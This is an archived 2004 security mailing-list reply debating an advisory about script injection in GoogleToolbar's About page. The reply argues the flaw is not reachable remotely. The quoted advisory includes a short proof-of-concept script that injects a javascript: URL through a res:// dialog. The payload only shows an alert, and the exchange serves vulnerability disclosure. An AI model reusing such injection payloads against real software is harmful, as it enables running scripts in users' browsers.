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Re: GoogleToolbar:About -- Allows Script Injection

daemon@ATHENA.MIT.EDU (Rafel Ivgi, The-Insider)
Sat Sep 18 20:30:25 2004

Message-ID: <004d01c49da5$4cfc8a00$3559b350@fucku>
Reply-To: "Rafel Ivgi, The-Insider" <theinsider@012.net.il>
From: "Rafel Ivgi, The-Insider" <theinsider@012.net.il>
To: "bugtraq" <bugtraq@securityfocus.com>,
        "full-disclosure" <full-disclosure@lists.netsys.com>,
        <PenetrationTesting@yahoogroups.com>, <pentest@oissg.org>,
        "SecurITeam News" <news@securiteam.com>,
        "securitytracker" <bugs@securitytracker.com>,
        "vulnwatch" <vulnwatch@vulnwatch.org>,
        "ViPeR" <viper31337@yahoo.co.in>
Date: Sat, 18 Sep 2004 19:31:15 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
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This is not dangerous from remote, because the "res:" protocol is not
accessible by internet zone. You must to find a way to access  "res:" from
remote, otherwise it means nothing. As for local zone, you can ran scripts
in mycomputer zone.


Rafel Ivgi, The-Insider
Security Consultant, Finjan.com

----- Original Message ----- 
From: "ViPeR" <viper31337@yahoo.co.in>
To: <news@securiteam.com>; <bugtraq@securityfocus.com>;
<bugs@securitytracker.com>; <vulnwatch@vulnwatch.org>;
<vuln@security.nnov.ru>; <sec-adv@secunia.com>;
<submissions@packetstormsecurity.org>
Sent: Friday, September 17, 2004 10:51 AM
Subject: GoogleToolbar:About -- Allows Script Injection


Affection Software : GoogleToolbar
Version : Tested on 2.0.114.1-big/en (GGLD)

Notes:
GoogleToolbar's About section allows injection of
script, since it lacks any checking. The following
code is a Proof Of Concept.

<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dl
l/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>

rgds,
Gregory R. Panakkal / Viper


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